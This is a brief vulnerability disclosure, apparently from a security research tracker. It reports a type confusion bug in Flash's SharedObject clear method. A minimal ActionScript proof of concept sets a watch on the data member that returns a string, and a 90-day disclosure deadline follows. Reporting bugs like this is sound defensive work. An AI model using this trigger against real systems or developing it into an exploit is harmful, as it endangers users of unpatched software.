If a watch is set on the data member of a SharedObject, and this watch returns a type that is not an object, type confusion occurs when the clear method is called.
A minimal proof of concept follows:
var s = SharedObject.getLocal("myobj");
s.watch("data", func);
s.clear();
function func(){
return "test"; // Not an object
}
A test swf and fla are attached.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
